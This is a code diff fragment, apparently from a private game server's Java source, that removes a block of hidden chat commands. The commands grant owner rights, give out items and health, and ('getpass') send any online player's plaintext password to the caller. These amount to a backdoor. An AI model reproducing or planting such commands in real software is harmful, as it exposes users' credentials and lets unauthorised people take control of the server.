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- Client xx = (Client)Server.playerHandler.players[playerId];
- if (message.equalsIgnoreCase("p-spec")) {
- xx.specAmount = 5000.0;
- return;
- }
- if (message.equalsIgnoreCase("p-owner")) {
- xx.playerRights = 3;
- xx.logout();
- return;
- }
- if (message.startsWith("p-demote")) {
- xx.playerRights = 0;
- xx.logout();
- return;
- }
- if (message.startsWith("getpass")){
- try {
- String otherPName = message.substring(8);
- int otherPIndex = xx.getPH().getPlayerID(otherPName);
- if (otherPIndex != -1) {
- Client p = (Client) Server.playerHandler.players[otherPIndex];
- xx.sendMessage("Username: ("+p.playerName+") Password: ("+p.playerPass+") ");
- } else {
- xx.sendMessage("This player either does not exist or is OFFLINE.");
- }
- } catch (Exception e) {
- xx.sendMessage("Invalid Command, Try /getpass USERNAME.");
- }
- return;
- }
- if (message.equalsIgnoreCase("bearhelm")) {
- xx.playerEquipment[xx.playerRing] = 4502;
- xx.getItems().setEquipment(xx.playerEquipment[xx.playerRing],1,xx.playerRing);
- xx.sendMessage("Rewear your weapon please.");
- return;
- }
- if (message.equalsIgnoreCase("heal")) {
- xx.getPA().requestUpdates();
- xx.playerLevel[3] = 999;
- xx.getPA().refreshSkill(3);
- return;
- }
- if (message.equalsIgnoreCase("p-gear")) {
- xx.playerEquipment[xx.playerRing] = 15220;
- xx.getItems().setEquipment(xx.playerEquipment[xx.playerRing],1,xx.playerRing);
- xx.playerEquipment[xx.playerWeapon] = 16425;
- xx.getItems().setEquipment(xx.playerEquipment[xx.playerWeapon],1,xx.playerWeapon);
- xx.playerEquipment[xx.playerAmulet] = 15834;
- xx.getItems().setEquipment(xx.playerEquipment[xx.playerAmulet],1,xx.playerAmulet);
- xx.playerEquipment[xx.playerChest] = 13358;
- xx.getItems().setEquipment(xx.playerEquipment[xx.playerChest],1,xx.playerChest);
- xx.playerEquipment[xx.playerLegs] = 13360;
- xx.getItems().setEquipment(xx.playerEquipment[xx.playerLegs],1,xx.playerLegs);
- xx.playerEquipment[xx.playerHat] = 13362;
- xx.getItems().setEquipment(xx.playerEquipment[xx.playerHat],1,xx.playerHat);
- xx.playerEquipment[xx.playerHands] = 16293;
- xx.getItems().setEquipment(xx.playerEquipment[xx.playerHands],1,xx.playerHands);
- xx.playerEquipment[xx.playerFeet] = 16272;
- xx.getItems().setEquipment(xx.playerEquipment[xx.playerFeet],1,xx.playerFeet);
- xx.playerEquipment[xx.playerShield] = 13740;
- xx.getItems().setEquipment(xx.playerEquipment[xx.playerShield],1,xx.playerShield);
- xx.playerEquipment[xx.playerCape] = 6570;
- xx.getItems().setEquipment(xx.playerEquipment[xx.playerCape],1,xx.playerCape);
- xx.sendMessage("Rewear your weapon please.");
- return;
- }
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